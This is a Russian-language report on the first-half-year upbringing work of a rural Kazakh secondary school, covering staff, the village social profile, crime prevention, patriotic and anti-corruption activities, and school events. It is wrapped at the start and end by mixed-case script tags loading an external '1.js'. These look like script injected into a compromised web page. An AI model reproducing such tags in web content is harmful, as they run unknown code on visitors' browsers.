<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

08.01.2018

Анализ воспитательной работы

ГУ "Новоколутонская средняя школа"

за I полугодие 2017 – 2018 уч.г

Целью воспитательной

работы является создание воспитательно-образовательной среды, способствующей

формированию у школьников гражданской ответственности, духовности, культуры,

инициативности, самостоятельности, толерантности, способности к успешной

социальной адаптации.

Данная цель охватывает весь педагогический процесс,

интегрируя учебные занятия и внеурочную жизнь школьников, разнообразные виды

внеурочной деятельности, традиции через выполнение следующих задач:

- воспитание

учеников в духе демократии, личностного достоинства, уважения прав человека,

гражданственности, патриотизма.

- содействие

формированию сознательного отношения учащихся к своей жизни, здоровью, а также

к жизни и здоровью окружающих людей;

- развитие

самоуправления школьников, предоставление им возможности участия в деятельности

творческих и общественных объединений различной направленности;

- сохранение

и приумножение школьных традиций.

- вовлечение

учащихся в систему дополнительного образования с целью обеспечения самореализации

личности;

- создание условий

для участия семей учащихся в воспитательном процессе, развития родительских

общественных объединений, повышения активности родительского сообщества;

привлечение родительской общественности к участию в соуправлении школой;

Для реализации задач школе в плане

выделены 8 основных направлений:

Воспитание казахстанского патриотизма и

гражданственности, правовое

воспитание.

Цель: формирование патриота и гражданина, способного жить в

новом демократическом обществе; политической, правовой и антикоррупционной

культуры

личности; правосознания детей и молодежи, их

готовности противостоять проявлениям жестокости и насилию в детской и молодежной среде.

Духовно-нравственное

воспитание.

Цель: формирование духовно-нравственных и

этических принципов личности, ее моральных качеств и установок, согласующихся

с общечеловеческими ценностями, нормами

и традициями жизни казахстанского общества.

Национальное

воспитание

Цель: ориентация личности на общечеловеческие и национальные

ценности, уважение к родному и государственному языкам, культуре казахского народа, этносов и этнических

групп Республики Казахстан.

4. Семейное

воспитание

Цель: просвещение

родителей, повышение их психолого-педагогической компетентности и

ответственности за воспитание детей.

5. Трудовое,

экономическое и экологическое воспитание.

Цель: формирование трудовых навыков,

экономического мышления личности и осознанного отношения к профессиональному

самоопределению, развитие экологической культуры, способности воспринимать идеи

коэволюции и руководствоваться ими в повседневной жизни.

Интеллектуальное

воспитание, воспитание информационной культуры.

Цель: формирование мотивационного пространства,

обеспечивающего развитие интеллектуальных возможностей, лидерских качеств и

одаренности каждой личности, а также информационной культуры.

Поликультурное и

художественно-эстетическое воспитание.

Цель: формирование общекультурных навыков

поведения, развитие готовности личности к восприятию, освоению, оценке

эстетических объектов в искусстве и действительности, создание в организациях

образования поликультурной среды.

Физическое воспитание, здоровый образ

жизни.

Цель: создание

пространства для успешного формирования навыков здорового образа жизни,

сохранения физического и психологического здоровья, умения определять факторы,

наносящие вред здоровью.

Для осуществления воспитательной деятельности в

школе имеется кадровый потенциал:

ЗДВР, военрук, психолог,

библиотекарь, физрук, 8 кл руководителей. Из них с высше категорией-0, с 1 категорией-0, со 2

категорией-4, без категории-3.

План равномерно распределен по месяцам. В процессе

деятельности школы в него вносились необходимые коррективы.

Социальный паспорт села

Общая характеристика .

На 1 сентября 2017г	На конец 1 полугодия 2017-2018 уч года
1. Всего дворов 240	240
2. В них проживает детей 148	148
3. Обучающиеся в школе 81	81
4. Мини-центр - 24	24
5. Опекаемые дети-5	5
6. Из многодетных семей-8	8
7. Малообеспеченные -0	0
8. Неблагополучные 4	4
9. Из неполных семей- 10	10
10. Состоящие на учете ИДН -1	1
11. Обучающиеся в предшкольном классе 8	8
12. Учащиеся, состоящие на учете в школе-0	1

Реализация плана воспитательной работы шла через

постоянно действующие семинары классных руководителей, кружки по интересам,

секции, библиотеку школы, через работу ДОО «Шығұла», психологическую службу.

У каждого классного руководителя разработан

воспитательный план, согласованный и утвержденный администрацией школы, где

цели и задачи воспитательной работы охватывают все направления Комплексной

целевой программы воспитания. Главную роль в реализации поставленных целей и

задач играют педагоги – непосредственные участники УВП.

Методическое объединение классных руководителей

работает по теме:

«Формирование профессиональной компетентности

классного руководителя в вос-питательной системе школы в свете Закона «Об

образовании в Республики Казахстан». В методическое объединение классных

руководителей входит 10 человек

Качественная характеристика организаторов учебно -

воспитательного процесса

№	Ф.И.О.	Класс	категория	Пед стаж	Образо вание	Тема самообразования
1	Конак Т.И	1,2	2	12	высшее	Сотрудничество семьи и школы в воспитании детей
3	Аутаева ГК	3,4	-	17	высшее	Ориентация младших школьников н нравственные ценности
4	Гербер ЛА	5	2	11	высшее	«ИКТ в работе классного руководителя»
5	Аманжолова БК	6	2	6	высшее	Применение ИКТ в работе с классом
6	Жунусова МЗ	7	2	19	высшее	Воспитание патриотизма и гражданственности
7	ГузеваЕП	9	2	10	высшее	Формирование здорового образа жизни и профилактика вредных привычек
8	Снятковская ТН	8	-	18	Ср спец	Воспитание сплоченности классного коллектива
9	Малофеев ВН	11	2	4	Средне-специальное	Воспитание патриотизма и гражданственности

Методическим объединением классных руководителей в

течение года проведено 2 заседаний. Руководитель : Малофеева ОВ

Многие классные руководители ориентировали свою

деятельность на формирование коллектива, личности в коллективе. Именно в начальной

и средней школе ребенок формируется как личность, происходит адаптация в

социуме, развиваются взаимоотношения в коллективе. В этом аспекте

воспитательной деятельности важное значение имеет педагогическая культура и

культура семейных отношений. Используя разнообразные методы и формы, классные

руководители проводили внеклассные мероприятия, классные часы.

Реализуя задачу совместной деятельности семьи и

школы, классными руководителями проводятся родительские собрания, рейды

«Семья», «Подросток». Разнообразные методы и формы применяют классные

руководители в своей работе с родителями, подворные поквартальные обходы,

посещение квартир, индивидуальная работа с родителями и учениками. С 1 по 11

класс имеется портфолио класса.В нем отражается состояние ученического

самоуправления на уровне отдельного класса, а также представлены материалы,

отражающие коллективную и индивидуальную работу с обучающимися, родителями,

достижения классного коллектива, а также составлены социальные паспорта

классов.

Методическое объединение уделяет большое значение одним из направлений в

работе классного руководителя- использование информационно-коммуникативных

технологий. Методический фонд пополняется сценариями праздников, тематическими

вечерами, классными часами, концертами, внеклассными мероприятиями. Классными руководителями проводятся

открытые классные часы, выступления в рамках МО.

В течение

учебного года ведется мониторинг участия классных коллективов в общешкольных

мероприятиях с целью отслеживания результативности работы. По итогам 1 полугодия

среди начальных классов лидирует 1 класс, классный руководитель Конак ТИ.,

среди среднего звена- 6 класс, классный руководитель Аманжолова БК, среди

старших классов-9 класс, классный руководитель Гузева ЕП.

Документация всеми классными руководителями

оформлялась, но не всегда в соответствии с требованиями и в срок. Проверки

дневников учащихся показали, что в лучшем состоянии дневники учащихся 5 и 9

классов. Выполняются требования к ведению дневников, есть подписи родителей,

классные руководители регулярно осуществляют контроль, есть обратная связь с

родителями. Отдельные классные руководители проверяют дневники формально, не

обращая внимания на качество и аккуратность заполнения. У родителей не складываются

объективная картина успеваемости детей из-за малого числа оценок в дневниках,

т. к. не все учителя-предметники требуют дневники для выставления оценки за

урок. Важной частью

развития воспитательной системы является формирование и укрепление школьных

традиций. Воспитательный потенциал традиционных мероприятий бесценен.

Традиционно в течение 1 полугодия проведены: День знаний, Неделя языков,

День здоровья, День пожилого человека, День учителя, День самоуправления,

посвящение в первоклассники, День Независимости, Новый год. Максимальный охват

мероприятиями всех уч-ся приходится именно на традиционных в школе

мероприятиях.

Работа по правовому воспитанию и профилактике

правонарушений и безнадзорности среди учащихся носит в школе систематический

характер. Работа ведется по следующим направлениям:

· составление базы данных о различных социальных

категориях детей и их семей и индивидуальная работа с ними;

· контроль успеваемости и посещаемости учебных

занятий уч-ся;

· вовлечение уч-ся в общественно значимую

деятельность и кружковую работу;

· профилактика наркомании, алкоголизма, курения,

пропаганда здорового образа жизни;

· совместная работа с органами опеки и попечительства,

ИДН и общественными организациями по защите прав детей.

Организация

работы Совета профилактики.

Согласно плану воспитательной работы, в рамках

реализации задачи по формированию нравственных качеств у учащихся в целях

предупреждения и профилактики правонарушений и употребления вредных веществ

среди детей и подростков в школе осуществлялась следующая деятельность: оформление необходимых нормативных документов

на учащихся, состоящих на внутришкольном учете - классными руководителями

проводится работа в этом направлении с учащимися и их родителями - классные

часы, профилактические пятиминутки, индивидуальные беседы по профилактике

правонарушений, употребления ПАВ, «Час правовых знаний», «Права и обязанности

ребёнка», «Мои права», «Гражданство и гражданин», «Конвенция детства» и т. д.

ежегодно в ноябре проводится декада «Детство без жестокости и насилия». Реализуя задачу совместной деятельности семьи

и школы, классными руководителями проводятся родительские собрания , совместные

с администрацией и родительской общественностью рейды «Семья», «Подросток»,

«Дети в ночном городе».

Зам. директора по ВР и психологом проводятся

беседы по профилактическим вопросам). - организация работы внутришкольной

комиссии, на которой рассматриваются текущие вопросы, вопросы постановки

учащихся на внутришкольный учет, снятия с учета, корректируется план работы по

профилактике; - отслеживание занятости учащихся, состоящих на внутришкольном

учете, в свободное время, в период каникул, привлечение их к занятиям в

коллективах дополнительного образования, спортивных секциях. - работа

психологической службы школы с учащимися, склонными к девиантному поведению, их

родителями, строго отслеживается посещение, пропуски учебных занятий.

Ежегодно учебный процесс начинается с проведением

Республиканской акции «Дорога в школу». В рамках этой акции проводятся ряд

мероприятии по выявлению детей, не охваченные обучением. Своевременно учителя

делают обход по своим микроучасткам, собраны справки подтверждающие о

трудоустройстве выпускников, из фонда всеобуча оказывается материальная помощь

учащимся из списка социально незащищенных детей. Было организовано и проведено

поквартирного (домового) обхода и учета детей в возрасте от 0 до 19 лет в

пределах закрепленного микроучастка школ. Социальное партнерство школы с родителями.

Одной из основных задач педагогов является задача укрепления сотрудничества и

расширение поля позитивного общения с семьей, вовлечение родителей в воспитательный

процесс школы, создание единого воспитательного пространства «родители – дети -

учителя». Основные формы работы с родителями это родительские собрания, дни

открытых дверей, индивидуальные консультации, праздники и совместные

мероприятия. В течение 1 полугодия родители принимали участие в жизни школы. Все

формы работ направлены на повышение педагогической культуры родителей, на

укрепление взаимосвязи школы, семьи, общественности, а также на привлечение

родителей к воспитанию детей класса. Работу с родителями в этом направлении

стоит продолжить и совершенствовать.

Совершенствование системы профилактики

религиозного экстремизма среди учащихся. В план воспитательной работы были

включены мероприятия, посвященные государственным праздникам: Дню Конституции

(30 августа), Дню Независимости (16 декабря), 1 декабря-День Первого Президента

РК .

декабря проведено принятие в ряды

Жас-Улан учащихся школы: Дәлелхан Б, Гербер К, Сверчук Я, Табигат А. В

торжественной обстановке учащимся были повязаны галстуки и вручены значки-

атрибуты принадлежности к детско-юношеской организации. Волнение и трепет,

перемешанный с чувством гордости и радости на лицах ребят сопровождались мелодиями

родной страны во время церемонии принятия в ряды организации. После произнесения

слов клятвы был исполнен гимн « Жас улан».

В начале учебного года в школе в кабинетах были

оформлены классные уголки и проведены беседы. В форме беседы учащиеся начальной

школы познакомились с основным законом нашей страны- Конституцией, принятой 30

августа 1995 года. Учащиеся основной школы знакомятся со статьями Конституции.

22 сентября –Дню языков проводится беседы «Язык, как средство общения между

людьми». В этот день проводятся различные конкурсы поговорок и пословиц,

чтецов, конкурсы на знание языков. Ко Дню пожилого человека на протяжении

многих лет учащиеся школы готовят концерт, изготавливают праздничные открытки и

подарки для бабушек и дедушек, а также проводится акция «Милосердие».

Библиотекарь Кошкина ЕВ совместно с вожатой Гербер ЛА оформили

букросинг в рекриации школы,

библиотекарь ведет учет прочтенных книг детьми.

рамках программы осуществляется пропаганда государственной символики на всех

ступенях обучения с использованием разнообразных форм работы. Еженедельно

на общешкольной линейке исполняется Гимн. Согласно ст. 4 « О порядке

использования символов страны» Государственный Флаг установлен на здании школы

и в фойе, в кабинете директора. Государственная символика используется на

мероприятиях посвящённых государственным праздникам: В

библиотеке организуются в выставки политической и художественной

литературы казахстанских авторов. В кабинете истории и права размещён материал

о жизни и деятельности Н.А.Назарбаева. В начальных классах большое внимание

уделяется работе с семьёй, привлечению родителей к участию в общешкольным

мероприятиях. Особое внимание уделяется воспитанию подростков в духе

толерантности. Все общешкольные мероприятия в школе проводятся на двуязычии.

Оформление, названия стендов написаны на двух языках.

Наш педагогический коллектив рассматривает

нравственность, духовность как основу личности, поэтому формированию целостной

научно – обоснованной картины мира, развитию познавательных способностей,

приобщению к общечеловеческим ценностям и присвоению этих ценностей уделяет

особое, приоритетное место в воспитательной деятельности. Идея гуманизма,

человеколюбия одна из основополагающих в работе школы. Уровень воспитанности,

этика, вопросы нравственности постоянно являются предметом обсуждения на

классных и внеклассных мероприятиях. Классными руководителями проводятся

классные часы, занятия – тренинги, направленные на формирование устойчивой

нравственной позиции уч-ся. проведены мероприятия, способствующие формированию

и проявлению определенных нравственных качеств личности учащихся –классные

часы, посвященные нормам морали поведения в обществе, «Азбука вежливости»,

«Хлеб всему голова», «Доброта и милосердие», «Давайте жить дружно», «Умей

общаться со всеми и везде», «Спешите делать добро», «Толерантная личность-шаг

навстречу друг другу». В первой четверти проходит ряд мероприятий, посвященных

Фестивалю народов живущих в Республике Казахстан . Ежегодно на День Учителя

проводится день самоуправления, актив школы проводит праздничный концерт.

Целью экологического направления является

воспитание миролюбия, ненасильственного отношения ко всему живому, гуманному

отношению к самому себе и другим людям, формировать знания о взаимоотношениях

между природой и обществом. Согласно составленному плану проводится следующая

работа: озеленению кабинетов, работа экопатрулей, экологические субботники и

марафоны, акции, классные часы «Берегите

воду», «Животные мои друзья», «Природа-наши корни, наше начало», «Охрана

растительного мира», «Земля наш общий дом», «Боль природы- наша боль» и тд. В

начале и конце учебного года организуются экологические субботники. Учащиеся

всех классов относятся с пониманием важности данного мероприятия, ведь речь

идет о чистоте поселка, окружающей среды.

На основании нормативно-правовых документов и

поступающих методических рекомендаций в школе ежегодно разрабатывается целый

комплекс мероприятий, направленных на формирование мотивации здорового образа

жизни учащихся школы. Основу плана составляют план мероприятий по формированию

ЗОЖ, план работы наркопост, план работы психолога и план воспитательной работы

школы.

План мероприятий по формированию ЗОЖ, в основном,

включает в себя следующие мероприятия:

1.Организационная работа по вовлечению учащихся в

кружки, секции, факультативы и другие формы дополнительного образования.

3.Организация работы школьных секций по волейболу,

баскетболу, теннису, шахматам, футболу.

4.Организация и проведение спортивно-оздоровительных

мероприятий, направленных на физическое самосовершенствование учащихся,

формирование ЗОЖ.

5.Организацию и проведение декад и месячников

против табакокурения, профилактики наркомании и алкогольной зависимости ( акции

«День без сигареты», «День Здоровья», конкурс рисунков, плакатов и буклетов.

7.Организацию и проведение пропагандистских

мероприятий в виде просмотров видеороликов, документальных фильмов, презентаций.

Ежегодно в школе проводится «Президентская миля», где участвуют не только

учащиеся, но и педколлектив школы.

Проводит работу клуб "Адал Ұрпақ"- руководитель Гербер Л.А. ежемесячно к 25 числу сдают отчет. Оформлен стенд. 15 сентября прошли классные часы по теме: «Без коррупции с детства». Классные руководители подготовили классные часы с ярким оформлением. Ребята 7 класса поделились на две команды под названием «Честные» и «Справедливые», каждая группа работали над заданием, которые подготовила классный рукодитель Жунусова М.З. Также учащиеся 5,6 класса показали инсценирование из жизненных ситуаций ребят и провели игру «В мире коррупционных событий». Учащиеся 8,9,11 провели дебаты . Начальные классы подготовили стихотворения, которые зачитали на классном часе и исполнили песню. Итогом всех классных часов был просмотр видеороликов «Коррупции нет». 21.09 в 9,11 классах прошел дискуссионный практикум "Основы общественного порядка". 8.09 прошло родительское собрание на котором был рассмотрен вопрос о роли семьи в правовом воспитании и формировании культуры неприятия нарушений, в том числе коррупционных. а также родителям даны практические рекомендации по воспитанию у детей уважения к праву, законам и правопорядку. 14 декабря 2017 года в 5-8 классах была проведена деловая игра «Получение государственной услуги». Игра проводилась на примере работы работников ЦОНа. Ребята показали, каким должен быть работник, оказывающий государственную услугу: компетентен, вежлив и ориентирован на нужды услугополучателя и «как не надо»: некомпетентен, груб и неумело работает с услугополучателями и создаёт большую очередь». В результате игры дети стали понимать, что вправе получать весь спектр государственных услуг на самом высоком уровне и что госаппарат содержится налогоплательщиками., поэтому каждый работник страны должен перечислять и платить налоги. Итогом игры был показан видеоролик «Электронное правительство Республики Казахстан» как она работает. Для учащихся 9-11 классах была проведена беседа сопровождением видеофильма «Как получить государственные услуги»

Никого не оставили равнодушным

новогодние праздники. Оформление фойе, рекреаций, зала осуществлено до 22.12.17

при непосредственном участии ответственных классов и под руководством кл

руководителей. На все мероприятия составлены сценарии, проведены репетиции,

подготовлены необходимые декорации и атрибуты, подготовлены традиционные герои:

Дед Мороз и Снегурочка. 22.12.17 прошла ёлка КПП и миницентр, 29.12.17 для

уч-ся 1-4кл и 5-11 классов Игры, шутки, смешные истории содействовали хорошему

настроению ребят На всех праздниках родители приняли активное участие. Оказали

помощь не только в подготовке сценария. ТОО"Острогорский" в лице

директора Исабекова НР для всех детей подготовил подарочные кульки в количестве

113 кульков.

Считаю необходимым:

Продолжить работу по реализации

годового плана.

Усилить работу по отслеживанию уровня

воспитанности каждого ученика.

Продолжать работу по пропаганде

психологических знаний и здорового образа жизни среди детей и родителей. Вести

в системе коррекционную работу с детьми группы риска.Работать администрации с

кл. руководителями по общей схеме мониторинга качества воспитательной работы.

<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Пікір қосу